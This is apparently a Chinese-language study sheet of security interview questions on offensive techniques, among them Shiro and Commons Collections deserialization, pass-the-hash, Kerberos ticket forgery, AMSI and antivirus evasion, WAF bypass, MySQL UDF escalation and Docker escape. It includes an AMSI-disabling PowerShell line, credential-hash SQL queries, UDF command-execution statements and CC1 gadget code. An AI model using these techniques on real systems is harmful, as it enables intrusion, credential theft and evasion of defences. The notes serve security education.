面试都是真实的面试题 不过也算是对安全知识的概括性理解

1.shiro反序列化原理

Shiro 默认使用了CookieRememberMeManager,其处理cookie的流程:
得到 rememberMe的cookie值 —> base64解码 —> AES解密—>反序列化。
而shiro<1.2.4版本的AES的密钥是硬编码的,就导致攻击者可以任意构造恶意rememberMe的值造成反序列化
而且shiro默认依赖Commons-Beanutils1.8.3,可以利用CB1链构造Payload

2.shiro反序列化爆出key出来,但是利用链每一个都不能使用可能是什么原因

  1. shiro重写了resolveClass方法
  2. 有无依赖链

3.shiro remember字段参数被检测长度了怎么办

以ysoserial生成CB1链为例,我们可以

  1. 尝试自己构造gadget并进去优化(比如去除不用的操作)
  2. 从字节码层面进行优化(利用ASM实现删除LINENUMBER)
  3. 直接使用javassist进行构造
  4. 删除AbstractTranslet类的两个transform重写方法
  5. 最终方案是,直接分块传输

首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载


4.哈希传递的原理

  1. 在windows系统中,通常会使用NTLM身份验证
  2. NTLM验证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成
  3. hash分为LM Hash和NT hash,如果密码长度大于15,那么无法生成LM Hash,从windows Vista和windows Server 2008开始,微软默认禁用LM Hash
  4. 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)

无论是kerberos还是ntlm挑战/响应验证机制
windows是不会记录明文密码的,所以只需要获取到目标的NTLM Hash值和用户名,就可以成功登录
而且在域环境下大量计算机在安装的时候会使用相同的本地管理员账号和密码
因此计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击登录其他内网主机

5.如何bypass AMSI

  • 降级PowerShell版本到2.0(依赖于.Net 3.0,Windows 10 默认不预装)
  • 混淆攻击脚本
  • 使用一行命令关闭AMSI(针对这一行命令本身使用混淆绕过对抗AMSI检测)

    1. [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('a
    2. msiInitFailed','NonPubilc,Static').SetValue($null,$true)
  • 设置注册表“HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable”设置为 0, 以禁用 AMSI

  • 卸载当前进程中的amsi.dll
  • PowerShell.exe同目录下放入傀儡amsi.dll劫持正常amsi.dll(正常amsi.dll存在于 c:\windows\system32\amsi.dll
  • Null字符绕过
  • COM Server劫持(劫持杀软接入接口)
  • 内存补丁技术(现在实战以此为主)

    字符串是否敏感是由amsi.dll中的AmsiScanBuffer函数来进行判断的,而内存补丁是一种较为便捷的技术,我们可以对这个函数进行修补,使其丧失判断能力,这样我们就能自由执行任意powershell脚本,当然前提是脚本文件没有被杀软干掉。 AmsiScanBuffer函数应该返回HRESULT类型值,这是一个整数值,用来表示操作是否成功 只要让它小于0,我们就能bypass amsi

6.MSF getsystem原理

  1. getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道
  2. getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
  3. Windows服务已启动,导致与命名管道建立连接。
  4. 该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
  5. 然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程

7.chrome dump原理

  1. Data Protection API 数据保护接口 在windows中大量的使用来加密数据,比如chrome的cookies和login data
  2. chrome密码存放文件,是一个sqlite数据库文件,位置在于%LocalAppData%\Google\Chrome\User Data\Default\Login Data
  3. 80.x版本之前,利用DPAPI机制的CryptUnprotectData(API)进行数据解密
  4. 80版本之后的chrome(加密后值的前面有v10字段或者V11字段),先从Local State中获取原始的key,然后从Local Data获取IV值和密码值,随后进行AES-256-GCM解密

8.黄金票据和白银票据

  1. 黄金票据

    在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。

特点:不需要与 AS 进行交互,需要用户 krbtgt 的 Hash,可以生成任意用户的TGT,伪造TGT

  1. 白银票据

    Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用。

特点:不需要与KDC进行交互;需要server的NTLM hash。伪造ST

  1. 两者对比
    1. 白银票据不经过kdc,因此白银票据日志比黄金票据日志少,日志都在目标服务器上,不在域控
    2. 白银票据利用服务器账号的hash,不同于黄金票据利用krbtgt账号的hash,因此白银票据更加隐蔽,但权限不如黄金票据

9.文件上传如何绕过waf

  1. 云waf寻找真实ip或者尝试同局域网渗透
  2. 填充垃圾字符
  3. 对Content-Type和Content-Disposition字段进行操作

    • Content-Type: image/jpg;
    • 在content-Disposition中去掉form-data,for-data是内容描述的意思,来自表单的数据,即使不写,apache也接受
    • 在multipart协议中,一个文件上传块存在多个Content-Disposition,将以最后一个Content-Disposition的filename值作为上传的文件名

  4. 对filename字段进行操作

    • 多加一个filename字段
    • 对filename进行换行操作

    filen name=”php.php”

    • multipart协议中,文件名的形式为“filename=”abc.php””。但是Tomcat、PHP等容器解析协议时会做一些兼容,能正确解析 ”filename=”abc.php”、”filename=abc.php”、 ”filename=’abc.php’”。而WAF只按照协议标准去解析,无法解析文件名,但是后端容器能正确获得文件名,从而导致被绕过
  5. 对后缀名进行操作

    黑名单绕过,文件名大小写绕过, 特殊文件名绕过,换行

  6. 前端绕过

    抓包或者禁用JS

  7. 利用multipart协议特性,可以多文件上传

    multipart协议中,一个POST请求可以同时上传多个文件。许多WAF只检查第一个上传文件,没有检查上传的所有文件,而实际后端容器会解析所有上传的文件名,攻击者只需把paylaod放在后面的文件PART,即可绕过。

  8. 配合解析漏洞

    IIS,Nginx,Apache

  9. 测试是否是文件木马内容被查杀了

    上传一个没有危险性质的脚本,比如输入一句话,来测试文件是否能正常上传和运行

  10. 上传.htaccess文件

    Apache

10.如何进行免杀-CS上线

  1. 找到可以将shellcode转到内存中,或者从内存中执行shellcode,以及申请内存的方式的新型API加载方式

    比如当初的UUID 利用RtlEthernetStringToAddressA,可将shellcode转为MAC地址到内存 利用RtlIpv4AddressToStringA/RTlIpv6AddressToStringA,将shellcode转为IPv4/IPv6抓到内存 利用CoTaskMenAlloc申请内存为可读可写 利用EnumSystemLocalesA回调函数加载内存中的shellcode

  2. 利用技巧加载

    1. 直接系统调用(地狱之门技术)
    2. 隐藏API
    • LoadLibrary->GetProcAddress->Syscall9
    1. 隐藏API Name
    • 使用API Hash -> 随机API Hash
    1. VEH异常处理规避内存检测
    2. MSBuild白名单程序执行shellcode
    • 可以使用本机的二进制文件msbuild[系统白名单程序]来编译和执行存储在xml中的内嵌csharp代码
    1. 利用小众语言进行win32 API调用
  1. 代码混淆和程序加壳

11.Linux权限维持

3154f22a51059fba49f347861e90a49.jpg

12.数据库里面如何搜索有关admin的信息

  1. root密码查询
  2. # MySQL <= 5.6 版本
  3. select user,password from mysql.user where user='root';
  4. # MySQL >= 5.7 版本
  5. select host,user,authentication_string from mysql.user;
  6. hash放入md5网站破解

一些面试题(对安全知识的概括性理解) - 图3

13.PHP disable_functions一般会遗漏那些函数

看看disable_functions是否含有

  1. exec()
  2. shell_exec()
  3. system()
  4. passthru()
  5. popen()
  6. dl()
  7. PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。
  8. proc_open()
  9. pcntl_exec()
  10. php安装并启动了pcntl插件,此插件属于linux下的一个扩展,但执行命令没有回显,可进行反弹shell进行利用
  11. putenv()
  12. 用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。
  13. error_log()
  14. 将错误信息发送到指定位置(文件)。
  15. 在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,执行任意命令。

14.沙箱逃逸

以docker为例

  1. 处于特权模式
  2. 挂载了 Docker Socket
  3. 挂载了 Procfs
  4. 挂载了宿主机根目录
  5. 开启了 Docker 远程 API 访问接口
  6. CVE-2016-5195 DirtyCow 脏牛漏洞
  7. CVE-2020-14386
  8. CVE-2022-0847 DirtyPipe

15.XXE漏洞原理,代码审计如何寻找

XML外部实体注入

1205477-20170729131727597-973576085_magic.png
image.png

  1. 由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。
  2. PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()

16.Log4j2原理

简单来说就是对于${jndi:}格式的日志默认执行JndiLoop.lookup导致的RCE。日志的任何一部分插入${}都会进行递归处理,也就是说log.info/error/warn等方法如果日志内容可控,就会导致这个问题。

17.NTLM中继原理

NTLM是Windows实现身份认证的一种协议,如计算机A远程登陆计算机B,在计算机B验证计算机A的时候使用
的是NTLM协议。
但是在这个过程中,计算机A在通常情况下不知道计算机B是不是真正的计算机B,因为攻击机C也
可以来冒充计算机B。
当攻击机C冒充计算机B后,原本计算机A发往计算机B的NTLM认证流量,将发送给攻击机C,攻击机C接收到认证信息之后,再转发给B,从而实现NTLM流量的中继,也就是平常所说的中间人攻击,NTLM中继也就是中间人攻击的一种。

上述过程我们可以将再攻击机C上的中继程序理解为一个NTLM协议代理程序。但是攻击机C怎么实现欺骗计算机
A呢,许多网络协议可以用来进行欺骗,从而进行中间人攻击,常见的有ARP、DHCP, DNS等。在实际的攻击中,
使用LLMNR/NetBIOSNS欺骗的方式更多,因为这类欺骗的网络流量小,实施也更容易,与Net-NTLMhash relay
attack的结合也更紧密。
LLMNR和NetBIOSNS是Windows系统完成名称解析的一种方法。

18.kerberos认证

一些面试题(对安全知识的概括性理解) - 图6

req是请求 rep是响应

关键字

  1. AS(Authentication Server)(身份认证服务)
  2. TGS(Ticket Granting Server)(票据授权服务器)(由TGS服务提供的票据也称为白银票据,用于发出所请求服务的票证)
  3. AP(Application Request)(应用请求)
  4. 服务器
  5. KDC(Key Distribution Center)(密钥分发中心)
  1. kerberos原理:
  2. 打个比方:就好比A需要进入公司办公处,首先需要去门卫处验证是否是这个公司的人(也就是通过AS的认证);然后通过门卫确认后,拿着门卫的凭证(也就是我们所需要TGT)去办公处里面,这时候我们如果需要去领导办公室查询资料(就是访问Sever),那么就需要通过办公处的前台去登记,让前台确认我们是否有去查询的资格,当确认我们有资格后会给予凭证(就是ST),我们就可以拿着这个凭证去领导办公室查询资料了。
  3. 借用我们上面的比方:来带入我们kerberos中:
  4. * 首先 Client 向域控制器 DC 请求访问 ServerDC 通过去 AD 活动目录中查找依次区分 Client 来判断 Client 是否可信;
  5. * 认证通过后返回 TGT ClientClient 得到 TGTTicket GrantingTicket);
  6. * Client 继续拿着 TGT 请求 DC 访问 ServerTGS 通过 Client 消息中的 TGT,判断 Client 是否有访问权限;
  7. * 如果有,则给 Client 有访问 Server 的权限 Ticket,也叫 STServiceTicket);
  8. * Client 得到 Ticket 后,再去访问 Server,且该 Ticket 只针对这一个 Server有效;
  9. * 最终 Server Client 建立通信。

19.BCEL ClassLoader

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目
该类常常用于各种漏洞利用POC的构造,可以加载特殊的字符串所表示的字节码
也可以用于jsp webshell的免杀,总之主要是执行 Runtime.getRuntime().exec()
但是在Java 8u251之后该类从JDK中移除

首先会判断类名是否以BCEL开头,之后调用createClass()方法拿到一个JavaClass对象最终通过defineClass()加载字节码还原类。

20.SQL报错函数

一些面试题(对安全知识的概括性理解) - 图7

21.mysql udf提权

  1. 查看mysql
  2. 上传UDF动态链接库文件

    • 如果Mysql版本大于5.1,udf.dll必须放置在Mysql安装目录的lib\plugin文件夹下面,plugin文件夹默认不存在,需要创建
    • Mysql版本小于5.1,windows2000 udf.dll放置在c:\winnt\udf.dll,windows2003放置在c:\windows\udf.dll
  3. 执行命令

    1. CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
    2. select sys_eval('要执行命令');

    22.sqlserver命令执行

  4. xp_cmdshell

  5. SP_OACreate
  6. 通过沙盒执行命令
  7. 通过Agent Job执行命令
  8. 利用SQL server CLR

23.域控会开放什么端口

  1. 88 kerberos
  2. 389 ldap
  3. 53 dns

    88 TCP Kerberos Kerberos 密钥分发中心
    88 UDP Kerberos Kerberos 密钥分发中心

24.怎么定位域用户登录了那些机器

  1. BloodHound
  2. NetWkstaUserEnum API,NetSessionEnum API
  3. Windows 登陆日志 wevtutil 导出 EventID 为4624 4625
  4. 枚举rdp注册表键值HKCU:\Software\Microsoft\Terminal Server Client\Servers
    子项为远程服务器ip地址,UsernameHint为对应登录用户名
  5. netsess

25.phpmyadmin getshell方法

  1. 弱口令
  2. select into outfile
  3. 利用日志写入shell
  4. 使用慢查询日志getshell

26.GPP漏洞

在域环境中管理大量计算机时候,对计算机资源的访问通常使用组策略下发 常规做法是将Administrator的密码保存在SYSVOL中的XML文件中 而且只要是在域中已经注册的帐号,乃至普通域权限的帐号也可以自由读取SYSVOL目录的权限数据

dir /s /a \域控制器IP\SYSVOL*.xml

27. XSS绕过http-only

image.png

28.SPN爆破

  1. 在域环境中运行大量应用包含了多种资源,为资源的合理分配,分类和再分配提供了便利,微软提供给域内的每种资源分配了不同的服务主机名称(SPN)
  2. 通过SPN,可快速定位开启了关键服务的机器,这样就不需要去扫对应服务的端口,有效规避了端口扫描动作,隐蔽性好
  3. setSPN命令或者GetUserSPNs.ps1

    27.域内委派和非约束委派区别

  4. 当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION

  5. 当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务
  6. 非约束性委派被委派的机器会直接得到发布委派的用户的TGT
  7. 对约束性委派利用对核心就是获得可转发的ticket票据(用户A访问service1,ticket代表域控授权service1可以以用户A的身份进行操作)

28.对CC1链理解

CC链有两个利用方法

  • 通过利用readObject中存在触发函数而利用
  • AnnotationInvocationHandler实现了InvocationHandler(作为jdk动态代理使用,通过调用InvovationHandler中的invoke方法来对被代理对象进行增强)
  • 基于InvokerTransformer和ConstantTransformer生成一个恶意的ChainedTransformer
  • 使用TransformedMap.decorate()生成一个经过transformer增强的map恶意类

  1. //构造一个Transformer(转换器)数组
  2. Transformer[] transformers = new Transformer[]{
  3. new ConstantTransformer(Runtime.getRuntime()),
  4. new InvokerTransformer("exec", new Class[]{String.class},
  5. new Object[]
  6. {"calc"}),
  7. };
  8. //用Transformer数组实例化Transformer链
  9. Transformer transformerChain = new
  10. ChainedTransformer(transformers);
  11. //创建HashMap
  12. Map innerMap = new HashMap();
  13. //为map绑定Transformer链,生成TransformedMap
  14. Map outerMap = TransformedMap.decorate(innerMap, null,
  15. transformerChain);
  16. (⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可 以执⾏⼀个回调)(TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调 函数“,这个回调的参数是原始对象。)
  17. //decorate后面参数是两个对象,对象为实现了Transformer 接口的类
  18. //用来修饰map的 ,当被修饰的map被添加新元素时会分别触发这两个对象的transform 的方法(回掉),一个是key,另一个是value
  19. outerMap.put("test", "xxxx");
  1. transformerChain只是⼀系列回调,我们需要⽤其来包装innerMap,使⽤的前⾯说到的 TransformedMap.decorate


  1. Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
  2. valueTransformer);
  3. //keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。
  4. //我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类。
  1. 怎么触发回调呢?就是向Map中放⼊⼀个新的元素
  2. 序列化传输

理解

CC中提供的四大Transformer

Transformer是一个接口,他只有tarnsform一个待实现的方法

  • InvokerTransformer

实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序 列化能执⾏任意代码的关键。 在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数 是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) 后⾯的回调transform⽅法,就是执⾏了input对象的iMethodName⽅法
public Object transform(Object input)

  • ChainedTransformer

ChainedTransformer类会在构造函数的时候接受 Transformer[] 数组,即列表中的所有元素都要实现 Transformer 接口,同时在transform方法中会对Transformer数组中的元素按照顺序调用transform方法,同时将上一个元素的返回对象作为输入传递给下一个元素的transform方法中 public ChainedTransformer(Transformer[] transformers)
一些面试题(对安全知识的概括性理解) - 图9

  • ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个 对象,并在transform⽅法将这个对象再返回
public ConstantTransformer(Object constantToReturn)

  • InstantiateTransformer

CC中的万恶之源

image.png

  • InvokerTransformer

该类按照Transformer接口规范以反射的方式,并且是通过Transformer接口定义的transform()方法生成一个新对象

  1. public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
  2. this.iMethodName = methodName;
  3. this.iParamTypes = paramTypes;
  4. this.iArgs = args;
  5. }
  6. public Object transform(Object input) {
  7. if (input == null) {
  8. return null;
  9. } else {
  10. try {
  11. //进行反射调用
  12. //那么如果可以控制输入的iMethodName,iParamTypes,iArgs,input就可以利用这个代码进行代码执行
  13. Class cls = input.getClass();
  14. Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
  15. return method.invoke(input, this.iArgs);
  16. } catch (NoSuchMethodException var5) {
  17. throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
  18. } catch (IllegalAccessException var6) {
  19. throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
  20. } catch (InvocationTargetException var7) {
  21. throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
  22. }
  23. }
  24. 利用构造函数传入methodNameparamTypesargs 来确定我们调用的方法,参数类型以及参数
  25. String methodName = "exec";
  26. Class[] paramTypes = new Class[]{String.class};
  27. Object[] arg = new Object[]{"open -a Calculator"}; // windows这里换成calc.exe即可
  28. 将实例传入transform方法,结合之前传入的methodNameparamTypesargs 可进行代码执行
  29. InvokerTransformer invokerTransformer = new InvokerTransformer(methodName,paramTypes,arg); invokerTransformer.transform(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")));
  30. 反射在此的理解
  31. Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")